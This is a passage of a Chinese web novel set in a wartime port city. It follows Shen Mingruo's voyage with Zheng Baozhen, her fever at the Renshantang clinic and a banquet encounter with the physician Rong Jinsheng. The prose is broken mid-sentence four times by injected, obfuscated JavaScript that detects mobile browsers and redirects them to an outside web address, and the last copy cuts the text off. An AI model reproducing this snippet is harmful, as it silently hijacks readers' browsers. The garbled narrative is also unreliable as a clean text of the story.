郑宝珍原本想的还真是空白的支票，但手下这么一问，她又想起了仁善堂如今的当家人，一阵去而复返的不快涌上胸膛，闷声说：“先拿三万块过去，后面若是还有需要，再慢慢拿。” “好，我就去通知明州那边。” “去吧。” 手下一颔首，迅速离开了休息室。 郑宝珍叹了口气，捏了捏手指，又莫名其妙地去捏自己的外套，然后转头去看了安静了许久的沈明若。 她从上了船开始，一直安静到了现在。 可能……是对新环境的不适应。 但沈明若都这么大个人了，应该没有这种……小孩子才会有的毛病？ 郑宝珍心想着，目光挪到了沈明若脸上，堵在心头的那口气忽地散开，郑宝珍又轻声叹了口气。 所幸，沈明若长得是真好看。 上了船便有人同郑宝珍打招呼，沈明若跟着郑宝珍身边，自然也有人同她打招呼，沈明若微笑着不说话，最多，也只是点一点头。 人长得好看，别人看了心情也好，心情一好，自然也不会去计较细枝末节。 “沈小姐。”郑宝珍温柔地唤了声。 “嗯。”沈明若一边回应着，一边将一个小盘子推到郑宝珍手边。 郑宝珍这才注意到，沈明若安静着、安静着，已经剥好了一盘的核桃仁。 “剥这个东西是要费些工夫的，”郑宝珍拿起一块核桃仁，又放了回去，看着沈明若，有些多余地问了一句，“是给我的吗？” 这间休息室里，再没有第三个人了。 沈明若点了点头，“都是给你的。”她拿着开核桃用的钳子，对着空气夹了两下，“有这个东西，也没费什么工夫。” 接下去的一整天，沈明若都跟着郑宝珍，郑宝珍走到哪儿，她就跟到哪儿。 郑宝珍一开始还以为，她是在陌生的环境中对比较熟悉的人产生了依赖，后来又觉得不对，但也没着急问，只是避开了原本定好的喝酒赌博的场所，一直到天黑，郑宝珍在佣人的陪同下，把沈明若送到了休息的房间。 “我的房间就在隔壁，你若有什么事，就来敲我的门。” “好呀，”沈明若一屁股坐在床上，床垫软软的，她忍不住又往下坐了一下，“宝珍小姐，你还没有告诉我，你的前男友是谁？” “他呀，不值一提。” “可是我答应了你要让他伤心的。”沈明若疑惑地说。 郑宝珍的笑容一僵，摆手道：“咱们先不提这件事情，眼下明州那边乱的很，你答应我的事情可以暂且放一放。你先随我去明州，就当是我请你去明州玩一圈……虽说，现在也没什么好玩的。” “可是我没有钱。”沈明若说。 “都说了是我请你了，哪有儿让你花钱的道理。” 沈明若卷着鬓边的一缕头发，微微低了头，想算清楚一笔账，却发现自己对明州的物价一无所知。 从十五岁开始，她被关在沈家七年，不能迈出大门一步。 她对外界的了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381387|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了书本报纸，就只能从别人的言语中拆解分析。例如，于妈会抱怨菜价、米价又涨了，而她的家庭教师顾铭总会在讲课前，先跟她说一些关于救世大人物的时事新闻，沈明若有时候听不太明白，但不妨碍她听得认真。 很快，沈明若又发现，除了算不清欠宝珍小姐的账，她连个未来的经济来源也没有。 或许是因为她拥有的东西太少了，一身轻松，所以连太多的忧愁也不来打扰。 沈明若有些天真地想着，她在明州待一段时间，总能赚到钱的吧，大不了……大不了她还活着，有什么是不能干的呢。 “在想什么呢？这么认真。”郑宝珍走过来，指尖轻轻戳了戳沈明若的肩膀。 沈明若如实地说：“在想，该怎么还你的钱。” “不必还，”郑宝珍说，“你去明州，是要帮我做事的，只不过现在这件事要暂时往后放一放了。除了事后的报酬呢，你在明州的一切开销也应该记在我的账上，可别跟我客气。” 千万别客气。 不然，郑宝珍都不知道该如何抵消掉心里的愧疚了。 她那天和沈明若说起的“伤一伤男朋友的心”，简直就是一时情绪上头，胡言乱语了。 还有就是…… 郑宝珍忽然话头一转：“你今天一直跟着我，是不是看我不开心，想安慰我？” “是。”沈明若应了声。 郑宝珍微笑着继续说：“剥核桃也是。” “嗯。”沈明若又应了声，“我家里有个佣人，我叫她于妈，从前我不开心的时候，于妈就会一直陪着我，给我剥莲子吃，她喜欢把莲子的里芯也剥了再给我吃，后来我说了‘不用’，她才不剥。莲子就是要吃苦的。” “你喜欢吃苦？”郑宝珍说完，才觉得这话不对，“你喜欢苦的味道？” 这话好像也有点儿不对…… 沈明若摇了摇头，“不喜欢，我喜欢吃甜的，小时候吃多了糖，还蛀了好多颗牙。” 郑宝珍的嘴里莫名泛起一阵苦味，她拿了一旁的冷茶来喝，不曾料到，苦味更浓。 她一眯眼睛，和沈明若说了句“晚安”，就匆匆回了自己的房间漱口。 行船的第二天，船到武林，沈明若何郑宝珍在甲板上送别了茶楼老板。 郑宝珍派人下船买了桂花糕，她倒是很想买莲子，奈何这个季节没有。 过了一夜，郑宝珍方才想起来昨晚匆匆离去时没问出的问题，但是……贸然问这么个问题，似乎有点儿冒昧了？ 但是，郑宝珍实在按捺不住对沈明若的好奇。 这人长得极好看，气质干净，从认识她到现在，没见过她脸上有什么大表情。家里遭了难，也不哭不闹，有人同她说笑谈话，也只是微微勾一下唇角，笑得浅淡。 好像捧在高台上的一碗净水，无论底下怎么嘈杂喧闹，她都无波无澜，水面如镜。 郑宝珍盯着沈明若吃下一口桂花糕，知道她嘴里一定有了一点儿甜味，才开口问道：“你以前……是为什么不开心？” 手下大约是为了赶时间，买的这家桂花糕不太好，吃起来有些发苦。 沈明若一口一口吃完了，轻声说：“已经不重要了。” 5. 第 5 章 第三天，船抵达明州的码头。 沈明若原以为明州刚刚经历了一场灾难，就要枯萎了，什么人丁稀少、北风吹、沙土与残破的报纸一起卷过街巷的画面都在沈明若脑海中一一闪现，一下船，全成了泡沫，瞧一眼就戳破了。 郑宝珍在身后，拿手包戳了戳沈明若，“怎么了，傻站在这里不往前走？” “没什么，”沈明若低着头，看着脚下的路往前走，“就是没想到，明州还这么热闹。” 码头上，熙攘的人群声里混杂着叫卖声，还有离别与重逢的声音。 “是因为昨天听我说了爆炸的事情么，所以才这么想？”郑宝珍走在沈明若身侧，脚步不快，声音也随着她的脚步，不疾不徐地解释着，“明州向来都是热闹的。” “眼下正是战事吃紧的时候，明州城里时不时出点事，大家除了一声叹息之外，都已经习惯了。这已经比前几年要好了，前几年一打起仗来，半个城的人都要遭殃。如今风波短暂地过去了，大家稍微修整过后，还是要照常吃饭生活的。” 沈明若听着，心头不知怎的，一阵不是滋味儿，好似心脏被分成了一半冷的，一半热的，她却解释不了为什么会冷，又为什么会热。 一张嘴，声音都被压着，变得阴沉沉的：“我都不知道这些事情。” 郑宝珍见她面色不佳，便出言安慰道：“祁州这几年似乎与明州差不多，你不知道这些事情，说明你家父母把你保护得蛮好的。” 早在祁州的时候，郑宝珍就差人去调查了沈明若的背景，然而，得到的信息屈指可数。沈家那么大的家业，养出了这样一位稀罕的美人，竟然没什么消息？！ 沈家三小姐，在偌大的祁州城里简直像是个透明人。 沈明若听了她的安慰，沉默了好一会儿，郑宝珍便知道自己安慰错了。看来成为“透明人”的原因，和沈明若的父母有关，只是她的一双父母都已经死了，要想打听沈家过去的内部消息，想想都麻烦。 要不。 算了吧。 郑宝珍心想：何必把人打听的太清楚，还专门要去挖别人的伤心事。 总之，郑宝珍相信自己看人的眼光，也莫名地，有些相信沈明若。就算是不该相信的，日后若是沈明若做出了有损她利益的事情，她也认了。 毕竟，这份相信之上还可以安一个听起来不是很有道理的道理： 长得好看的人总是容易骗到别人。 …… 就像她的前男友一样，长了一张白面狐狸的勾人模样！ 郑宝珍原是跟沈明若并排走的，脑袋里忽然想起了一个不该想起的人，步子都加快了，疾步走到郑家的车前，一溜儿钻了进去，像是在躲避什么似的。 司机下意识就要关上车门，郑宝珍一伸手，拦住了车门，“等下，还有人。” 沈明若剁碎了步子走上来，匆匆钻入车里，“抱歉，慢了些。” 司机愣了一下，轻声道：“您客气了。”随即坐回车里，又问郑宝珍：“小姐，现在是要回家吗？” 郑宝珍刚要开口，忽地想到什么，看了沈明若一眼，改口道：“先回郑家吧。” “宝珍小姐是有别的去处吗？”沈明若倏然出声。 她专心看着车窗外人来人往的码头，却问着车里的人，问完了，才偏过脸来看向郑宝珍，“如果有的话，不必为了我耽搁事情。” “也不是什么着急的事……” 郑宝珍见她一张脸突然凑过来，像是被吓到了一样，猛地垂了眼睫，呼扇呼扇两下。 怎么回事……这世上除了荣晋生以外，还有第二个人这么容易就牵动了她的情绪…… 对荣晋生是愤怒，对沈明若，是愧疚。 这似乎不是什么好事……但这第二个人不是荣晋生，似乎又是一件好事。 郑宝珍呼了一口气，轻声对沈明若说：“我原本是打算去仁善堂看一眼的，你要一起去吗？” “去呀。” 沈明若嘴上先答应，等汽车启动之后，方才想起来。 仁善堂。 好像郑家的人在船上提过一嘴。 是那个，接收了爆炸的伤者的地方。 应当是个医馆。 医馆门前的马路未设路牌，但来来往往的人都知晓这条路已受管制，汽车开到交叉路口便停了下来，车里的两个女人走下来，一步步往仁善堂去。 一整条路多少显得死寂，唯有仁善堂一直有人进进出出，倒是有了不该有的热闹。 忽然，一声惊天骇地的哭嚎不知从何处爆发出来，似一记春雷，将沈明若的耳朵震了一下。 她远远地瞧见一个妇人从另一边的路口跑过来，不停歇地跑到仁善堂门前，往一具已经没气了的尸体上面扑，这一扑，哭声更大了。 那个妇人抱着尸体，一声接一声地嚎着，没多久嗓子就哑了，像破了的风箱似的，一口气接不上一口气。 仁善堂里走出来一男一女，站在妇人的身后，站住了，就不敢再上前了，像是被哭声吓住了，也像是在犹豫，不知道该对那妇人说什么。 谁都知道，失去了亲人的悲伤，不是言语能化解的。 站着的男人看起来年纪轻轻，深深叹了口气，转身的时候用手肘敲了一下身边的女人。 女人也叹了口气，缓步上前，蹲在妇人身边，轻声说着安慰的话。 妇人仿佛失去了听觉似的，她唯一能感知到的，只有怀里抱着的一个人，可是这个人已经死了，变成了一动不动的尸体。 沈明若戳了一下郑宝珍的胳膊，在她耳边轻声问：“这……也是时不时会发生的事情吗？” 郑宝珍瞧了她一眼，张了张嘴，又闭上，没回答她的问题。 这的确是……在爆炸这类混乱的事情过后，常能见到的场面。可郑宝珍希望这场面不常有，如今面对着一位哭得声嘶力竭的妇人，竟连一句准确的回答都说不出口了。 沈明若好死不死地还要追问：“宝珍小姐？” 这一声称呼，让站在那妇人身后的男人循声看过来，视线落在郑宝珍面上，瞬间展露出尴尬的神情，好似下一秒就要转身钻进仁善堂躲人了。 他没有这个机会。 郑宝珍迅速借着他，躲开了沈明若的问题，两步走上前，对着男人轻声唤道：“行民。” “师……” 行民张口就是一声不该提起的称呼，慢了半拍想要改口，还差点儿咬到了自己的舌头，颤抖着声音问好，“郑、郑小姐……” 郑宝珍微笑着，“行民，好久不见了。” “郑小姐……好久不见。” 行民的声音仍然磕磕绊绊。 他与郑宝珍原先因为他的师父，天天都在见面，那段时间，他甚至觉得郑宝珍有些烦人，每天风雨无阻地来仁善堂招惹，对着他师父就是一张灿烂的笑脸，笑得极好看。 现在也是因为他的师父，他与郑宝珍变成了“好久不见”。 最初，杜行民也以为郑宝珍只是贪图他师父长得好看，肤浅至极，后来才有所改观。 前阵子，仁善堂收容的伤患实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381388|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多，还有许多个需要照顾的婴儿，经济和人手皆不足，郑小姐不仅送来了钱和粮食，还安排了自家的佣人来帮忙。 听说，仁善堂老爷子办的那所医学院，还是由郑小姐出面牵线，才搞定了学历和办学资格，只不过仍然没躲过改名的命运——这已经是最好的结果了。 郑小姐是真的好，可是他师父…… 他师父也是个好人，只是一谈论到感情，他师父……似乎……就不能算是个好人了。 杜行民有些纠结。 然而两个人的感情，也轮不到他来评说。 杜行民听说了师父和郑小姐的事情之后，一句劝说安慰都没有，只余一声叹息。 郑宝珍对着杜行民微微一笑，问道：“行民，你师父在吗？” “这几日事多繁忙，师父都在仁善堂守着。” “那我进去看看他。” “欸，郑小姐，别进去！”杜行民伸手想要阻拦。 郑宝珍已经转身，又扭头回来，“怎么，这个仁善堂我如今都进不了了？” “郑小姐，我不是这个意思……” 郑宝珍不想和他多废话，干脆道：“我今日可是来送钱的。” “还有，跟你师父介绍一位要紧的朋友。” “朋友？” 杜行民想着，郑宝珍以前来仁善堂，好像都是一个人来的。 “怎么？我还不能有朋友了？”郑宝珍吊着唇角，睨了他一眼。 “我也没有这个意思……” 杜行民看了看郑宝珍身侧，又指了指仁善堂的大门，“只是跟着你来的那位小姐，似乎已经进去了。” 郑宝珍旋即扭头，果然，已经没了沈明若的影子。 一只苍白的手拿起微微透光的纸，慢慢贴在窗户上，挡住了外头令人伤心的画面。 沈明若就是不忍心看那个亲人为死人伤心落泪的画面，才躲进了仁善堂，然而一走进来，来来往往自她身边走过的人一刻不歇，都在忙碌，搅得她也莫名的，想做些什么事情，于是就来贴窗户纸了。 前两天出事的时候，仁善堂外面放了一排的尸体，害怕吓着里面的婴儿妇人，便把窗户封住了。 只不过当时事急，封的不好看，短短几天过去，已经零零散散脱落了大半。 沈明若在窗边站了多久，荣晋生就在她身后站了多久。 没办法。 沈明若在人群中太惹眼了。 尤其容易惹来荣晋生侧目。 她恰好穿了一身他喜欢的浅绿色，恰好点缀着珍珠饰品，恰好……那张脸上的每一笔一划都落在了荣晋生心上。 沈明若忽然停了手上的动作，侧身向后看，对上了荣晋生不太礼貌的打量。 她压紧嘴角，一张嘴，带着些许警示的意味，“这位先生？” 荣晋生恍然回神，瞬间垂下眼，“抱歉，是我失礼了。” 沈明若不太想接受他的“抱歉”，也不想多说什么了，收回了视线，继续封窗。 荣晋生还有事情要做，只是路过这里的时候……停留的时间稍微长了一些……长了一些些。 他自然看明白了沈明若的意思，只是心里觉得方才的举动实在是不好，于是又站了一会儿，一句话反复思虑了几遍，才开口：“这位小姐……” 他一开口，眼前人落在地上的影子陡然一晃。 荣晋生察觉到了，猛地一抬眼，连忙伸手接住了向后倒下去的沈明若。 怀里的人紧闭着眼，眉间微蹙，面上泛着薄红，身子隐隐发烫。 6. 第 6 章 郑宝珍匆匆赶到仁善堂的休息室，过门的时候，还撞到了站在门边的杜行民。 她瞧了一眼阖眼靠在长榻上的沈明若。 仁善堂的床位和座位都不够，这间休息室还是临时整理出来的议事的地方，里面原本就只有一张长桌子，几个座椅，桌上零星散落着几个剩着茶水的杯子，还没来得及清理干净。 整个房间昏昏沉沉的，唯一一扇窗户透进来的光也是灰灰黄黄的，光线擦过墙上贴着的“妙手回春”的翘边的纸张，纸面泛黄，怎么都照不亮。 这样一个地方，就孤孤单单地躺着沈明若一个病人。 郑宝珍有些恼了，没忍住脾气，一个眼神似飞刀，直直地甩向门边那个被她撞了一下的人，“杜行民，你师父他人呢！” 杜行民讪讪道：“师父去忙事情了……” “我好好的带过来的一个人，怎么瞧了荣晋生一眼就发烧了呢？你师父怕不是哪个山窝里的狐狸精变成人了吧！” 杜行民：“……” 如今这世道，哪会有狐狸精愿意下山来渡劫啊。 除非是个满脑子装着爱情，愿意为了爱情牺牲的傻狐狸精。 杜行民挤出了一个笑容，“郑小姐别生气，我师父说了，这位……沈小姐，她只是最近心绪不宁，听说还是跟着您从祁州到明州来的，可能是路上累着了，再加上方才一下受了刺激，就……烧起来了，休养几天就好。” 祁州到明州的这一程水路，倒是没累着沈明若，只是人在水面上，终究不比在陆地上舒服。 郑宝珍抿着唇沉默了片刻，上前坐在沈明若的床榻边，瞧着她眉间微蹙，便伸出手，轻柔地按在她眉间。 刚才在外面，那妇人哭泣的时候，沈明若询问她的时候，她还真当沈明若气定神闲，陡然见了伤心怵人的场面，面上也是淡淡的。 原来是心里一片惊涛骇浪，却没表现出来。 倒像是个……犟种。 郑宝珍很轻地叹了口气，整个人慢慢沉下来。 真要追究起来，沈明若生了这一场病的大半原因倒是她。 人在祁州的时候还好好的，上了她的船，跟着她来了明州，上岸的第一天就病倒了。 郑宝珍垂了眼睫，一时没注意到，沈明若的眉心究竟是被她抚平了，还是她自己舒展开来了。 手心忽然痒了一下，郑宝珍的神经跳了一下，转过眼，果然看见沈明若已经睁开了眼睛。 一双眼睛红润润的，蓄满了水，再眨一下眼睛就要流出泪来了。 郑宝珍撤了手，声音温柔地问道：“感觉怎么样？” 沈明若感觉浑身软绵绵的，没什么力气，血肉之中似乎还燃烧着一把火焰，皮肤接触到周遭的空气，又是冷的。 这种感觉倒是熟悉。 不过是又发烧了一次。 沈明若看郑宝珍这么着急，心头长出一丝丝的喜悦，连忙安慰道：“没什么太大的感觉，应该是没事的。” 郑宝珍问的着急，得到了答案又仿佛没有听见一样，亲自监督着沈明若喝了药，陪她一起听了大夫的叮嘱。 大夫自然是就近选择的杜行民。 听着叮嘱的人，一个懵懵懂懂，眼珠子里空荡荡的什么也没装，好似烧傻了，另一个则是紧盯着大夫，肉眼可见地有些紧张，郑宝珍往日在自家操持生意的时候都没这么紧张过，这一下便显得眼神有些凌厉了。 倒是让杜行民也跟着紧张了起来，一段简单的话说完，嗓子都有些发紧。 这沈小姐……到底是什么人？ 两位小姐在仁善堂待到了日暮西山，服药休息之后，沈明若的烧也渐渐退了下去。这期间，荣晋生再没露过面，只有杜行民一直陪着她们，最后将两人送到郑家的车里，目送汽车离去，然后闷头走回仁善堂门前，又停了下来，远望着清清冷冷的道路上，只剩下了一个颤抖的黑点。 他忽然觉得背后像扎了根针一般，神经一揪，憋着气，转过头。 杜行民狠狠地松了一口气，“哎呦，师父，你怎么站在后面一声不吭的，可吓死我了。” 荣晋生一言不发地看着他。 “……” 杜行民：“郑家小姐方才走了，她没问你为什么没来送。” 荣晋生淡淡地说：“我知道。” “我同郑小姐已经分开了，往后，不要事事都把我和她联系在一起。” “为什么呀？”杜行民不懂。 荣晋生本想对他说“有些事情既然已经过去了，也就没有了一定要说清楚的意义”，话还没出口，又觉得不对，便改口道：“你不用太明白。” “？”杜行民更是一头雾水。 荣晋生：“你只需要知道，我与郑小姐之间，是我欠了她的，以后她来……还有她带来的客人，都要恭恭敬敬地对待。” “这我知道，我们仁善堂欠郑小姐的可多了，这不，她今日又来了一回，欠的便又多了一些，”杜行民抬手甩出一张支票，在荣晋生面前晃了晃，“师父你看，这临走前还给我了一张票呢。” 荣晋生扶了扶鼻梁上的金丝眼镜，心里算着账。 这两天仁善堂的病人多，消费也多。以前这种情况，都是郑宝珍送来全部的花销，还会额外再添一点儿，现在……现在她还愿意相助，也实在是难得。 只是这些，仍然不够。 他欠郑宝珍的越来越多，仁善堂的账却依旧填不平。 这滋味很不好受。 荣晋生轻轻咬着牙，又松开，面颊微微紧绷，眼神无奈地垂落。 他面向杜行民，问道：“前两日，是不是送来了一张邀请帖？” “是啊，”杜行民点点头说，“是梁家二小姐的生日宴，我记得您说，让我回绝了……” “回绝了吗？”荣晋生问话的时候，既希望杜行民已经回绝了，又希望他没有回绝。 杜行民傻笑了一下，挠了挠脸，“那什么，这两天事忙，我给忘记了……师父你刚才提起来的时候，我也才想起来。” 得到了确定的回答，荣晋生却也没有因为“希望成真”而感到高兴。 荣晋生：“生日宴是什么时候？” “三日后。” “替我安排好那天的事情，将生日宴的时间空出来。” “……好。” 杜行民忽然想起了方才离去的郑宝珍。 他的师父忽然变卦，决定去参加梁家二小姐的生日宴，大约……是想故技重施了……为了仁善堂能继续经营下去。 梁家与郑家一样，都是明州城里顶顶有钱的人家。 郑宝珍自然也收到了梁家的邀请，她还知道，梁家特地给仁善堂送了一份邀请。 梁家与荣家素来没什么交往，按照仁善堂如今的处境和地位，也不该收到梁家的特殊邀请。 奈何，梁家的二小姐对荣晋生青睐有加。 仁善堂现在正是困难的时候，荣晋生不可能会拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381389|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这只主动伸过来的援手。 沈明若病了整整三天，第一天烧到昏迷，后来的两天倒是和没事人一样，待在郑家的院子里，累了就睡，饿了就吃，一点儿心事也没有了，只是时不时感觉身子轻飘飘的，感觉身处幻梦之中。 这几天，祁州到明州，从衰败的沈家到鼎盛的郑家，从繁花锦簇的园子到萧条封闭的街道，真是像梦一样。 沈明若捏着酸软的胳膊，软绵绵地躺在长榻上，望着阳台外同样梦幻的蔷薇花墙和紫藤长廊，交织的花香充盈了感官，悄悄地引人入醉。 郑宝珍似乎把她安排在郑家花开的最盛的院子里了。 沈明若鸦羽似的长睫缓缓扇动，浮起来一点儿睡意。但很快，一个问题去而复返，将她拉回清醒。 她是……为了什么来到明州？ 哦，是为了姐姐的消息，也是为了郑宝珍答应给她的那笔钱。 眼下最重要的，是那笔钱。 不然即便是得到了姐姐的消息，没有钱，她也没办法去找姐姐。 …… 话说回来，她好像还没问郑小姐，事成之后要给她多少报酬。真是糊涂了。 心里正念着郑宝珍，下一秒，“哒哒”的脚步声传入耳朵。 沈明若努力睁开了眼睛，撑起身子，朝着声音的来源去看。 郑宝珍推开了她的房门走进来，淡粉色的裙摆摇曳，看上去应该是刚在外面谈完了事情，就来寻她。 沈明若的视线随着郑宝珍的脚步，仿佛一条切不断的丝线，从门口收束到阳台的长榻边。 郑宝珍一瞧见她，脚步都快了，路过沙发的时候，顺手从沙发上抄过来一条毯子，“怎么不好好在房间里待着，现在虽然已经暖和了，可你是个病人，吹了风还是容易着凉的。” 说着就把毯子盖在了沈明若身上，将准备起身的人按了回去，“你起来做什么，我一个健康的人还需要你伺候吗？” 沈明若一动不动地躺在榻上，锁骨以上像是被冰冻住了，只有一张嘴巴还能说话：“我只是觉得你来了，我应该做些什么。对了，我正好想着你，你就来了。” “你想我什么？” 沈明若忽然反应过来：刚才说的好像不对。 她哪是在想着郑宝珍，分明是在想着郑宝珍的钱。 “我在想，这几天的开销，我要怎么还给你？” 郑宝珍愣了一下，随即莞尔道：“你这是在想着我么？”郑宝珍捏着毯子的一角往里收，“既然是我请你来做事的，这里的开销自然不用你来付。只是，沈明若……” 话音倏地顿住，没有下文。 沈明若自下而上，柔和地对上郑宝珍的视线，轻声问：“我，怎么了？” 郑宝珍询问的声音比她还要轻，“沈明若，你真的要帮我吗？” “要的。”沈明若不假思索道。 “好吧，”郑宝珍叹了口气，又觉得好笑，一开始要沈明若帮忙的人，分明是她自己，“那么，明天你要陪我去一个生日宴。” “好的呀。” 郑宝珍心里没由来地感觉不爽快，佯装用力地隔着毯子，打了一下沈明若的胳膊，“好什么好，我听说你吃的不多，喝药也磨叽，这样下去身体怎么能好全？” 沈明若：“我是个病人，没什么胃口也正常。” 这会儿倒是想起来自己是个病人了！ 郑宝珍也不和她多废话，直接连着毯子将人抄起来，遣送回屋。 7. 第 7 章 第二日。 梁家的宴会厅灯火通明，从外面看，灯光似火光，能照亮半边天，也能侵蚀掉尘世中飘浮着的一半的尘埃。 沈明若跟着郑宝珍一进门，繁杂的声音一入耳，一阵头晕目眩的感觉瞬间涌上来。 她也不知道自己是怎么了，即使是病还没好全，可人在门外的时候还好好的，一进门就觉得不舒服。 她下意识向前伸出手，抓住了郑宝珍的胳膊。 郑宝珍停住脚步，转身，俯首，凑在她耳边问：“怎么了？” “……有些头晕。”沈明若道。 郑宝珍瞧了一眼身后的浮华，再回过头问：“是不习惯这里吗？” “大概……”沈明若微微抬头，头顶的灯光泛着彩打下来，眼前又是一晕。 她模模糊糊地说：“是不喜欢这里吧。” “我带你去楼上休息一下。”郑宝珍侧身扶着她。 沈明若问：“这是在梁家，可以吗？” 郑宝珍说：“我与梁先生相识，想必是能让出一间空房间给我的。” 以郑家的地位，一间空房间肯定是没问题的，问题在于，这房间里的人待不住。 梁家小姐的生日宴，已经不是一个独属于她的宴会了，明州城里大大小小的名流商贾聚集在此，觥筹交错，相谈甚欢。 沈明若一打开门，恰好是一首乐曲换一首乐曲的间隔，宴会厅里空了一拍子，刹那间特别安静，很快又播放起乐曲来，餐桌上低低的笑声紧接着融入其中。 沈明若瞥了一眼楼下的大厅，只一眼，便头也不会地朝另一个方向走去，远离了那些乐声，躲进空无一人的阳台，厚重的帘子稍稍一拉，便隔离出了幽暗的独处空间。 “沈小姐？” “嗯？” 沈明若手里还拽着一截窗帘，转身，陡然发现这阳台一隅之地，竟然还藏了一个人。 她认不出这声音是谁，走近了一点儿才惊觉，“荣先生？你怎么在这里？” 荣晋生对她浅浅地笑了一下，指着一帘之隔的灯火通明的外面说：“外面快开始开场舞了，我过来躲躲。” 沈明若轻声念着：“开场舞？” 这是梁家小姐的生日宴，开场舞自然是梁家小姐，只是…… “你不和她一起跳吗？”沈明若问。 荣晋生的嘴角依旧带着笑，“和她一起跳舞的，是瑞丰银行的张先生。” “原来是这样。”沈明若眨了下眼睛，想在晦暗的灯光里看清荣晋生的神色。 荣晋生默不作声地偏过脸。 沈明若没看清，于是直接问道：“那你会伤心吗？” “我为何要伤心？”荣晋生问。 “唔……” 沈明若答不上来。 出发之前，郑宝珍和沈明若说，梁家的二小姐十分中意荣晋生，那么按照道理来说，与梁小姐共舞的人应当是荣晋生，这会儿忽然变了人，应该……应该要感到伤心吗？ 如果荣晋生一开始是带着期许的，应该要伤心。 沈明若心想：他既然来了梁小姐的生日宴，心里一定是带着期许的，只不过…… 沈明若的眼睛忽然打起了精神，终于明白过来——荣晋生的期许并不在梁小姐身上，所以不伤心。 “荣先生。”沈明若心里装着疑惑，便问了出来，“你为什么想要依靠梁小姐呢？” 荣晋生不曾料到，她会如此直白，整个人愣了一下，将没有滑落下来的眼镜往上扶了一下，“沈小姐这话……似乎不讲礼貌。” 沈明若翻出旧帐，“你前几日盯着我看的时候，也不讲礼貌。” “非常抱歉，沈小姐。”荣晋生说。 “那我也——抱歉，荣先生。”沈明若说。 荣晋生莫名其妙地笑起来，晚风轻轻拂过，在他的笑容里添加了一丝丝凉意，笑容定格住，就不像是在笑了。 沈明若偏头瞧了一眼，很快把视线从那张俊美的脸上挪开。 她双手扶着阳台的阑干，鞋尖向前踢了一下空气。 她即将说出口的话也有点不礼貌，但还是说了，“荣先生，你笑得不大好看。” 荣晋生收起了嘴角的弧度，将表面的笑意收回心底，他闭了眼睛，感受了一会儿晚风的轻柔，再睁开，轻叹了一声气，“别人都是说我长得好看的。” 沈明若不慌不忙地解释着：“我又不是说你长得不好看，应该不会有人说你长得不好看吧？” “沈小姐这是在夸我？” “这是一目了然的事实，我不过是多夸了一句。” 荣晋生忍俊不禁，犹豫片刻后，他问：“如果我现在也夸你一句……” “荣先生！” 荣晋生骤然止住了声音。 他一听便听出来了，喊他的人是跟在梁小姐身边的佣人，他一走进梁家的大门，那佣人急匆匆地迎他去见梁小姐。 脚步是飞快的，面上是带着笑的，一转头，面色却变了，似乎还翻了个白眼—— 一个不小心就被荣晋生瞧见了。 荣晋生瞧见了，也没说什么。 他本就是抱着不善的目的踏入梁家，被人甩了眼色也是应得的。 荣晋生再次扬起了笑容，柔声对沈明若说：“沈小姐，委屈你稍微躲一下。” 沈明若的目光全在荣晋生的脸上，她看着他的五官慢慢融化成一片，明明笑得很好看，却让人看不清。 沈明若眨了眨眼睛，想看清。 荣晋生拉过幕帘，隔在他们之间，从走廊照进阳台的光线也被挡住，沈明若被迫落入一片黑暗。 她拽着帘子一角，刚要拉开，阴影之外传来了对话的声音。 “荣先生，二小姐叫你过去陪她。” 沈明若握住帘子的手顿了一下，又听见荣晋生说：“……梁小姐那边已经结束了吗？” “是呀，张先生跳完舞就回去了，说是家里还有急事。” “好，那我跟着您过去。” …… 沈明若躲在帘子后面，听着错乱的脚步声渐行渐远，才一扬手，拉开了帘子。 眼前却没有明亮起来，从走廊传过来的光线被一个人挡住了。 没看清脸之前，沈明若还以为是那个人没走，“你怎么……” 话音戛然而止。 沈明若的目光先是定住，眼眸中瞬间溢出的一点儿意外向外扩散开，化为一片平静。 沈明若收回了目光，淡淡道：“你好。” 面前的陌生人微微歪了一下脑袋，勾起唇角笑了一下，眉目间透露着一股疏离，这似乎是他常用的表情，用得多了，这副看着有些欠揍的表情就像是镶在了他的脸上。 这陌生人同样说了一句，“你好。” “你掀开帘子看到我的时候，是不是有一瞬间认错人了？” “……唔。” 沈明若还没应答，这人又自顾自说了下去： “是不是以为，是刚才离开的那个人去而复返了？” 沈明若蹙起眉，有些讨厌他的自说自话，“这似乎和你没有关系。” 说话的语气和方才打招呼的时候截然不同， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 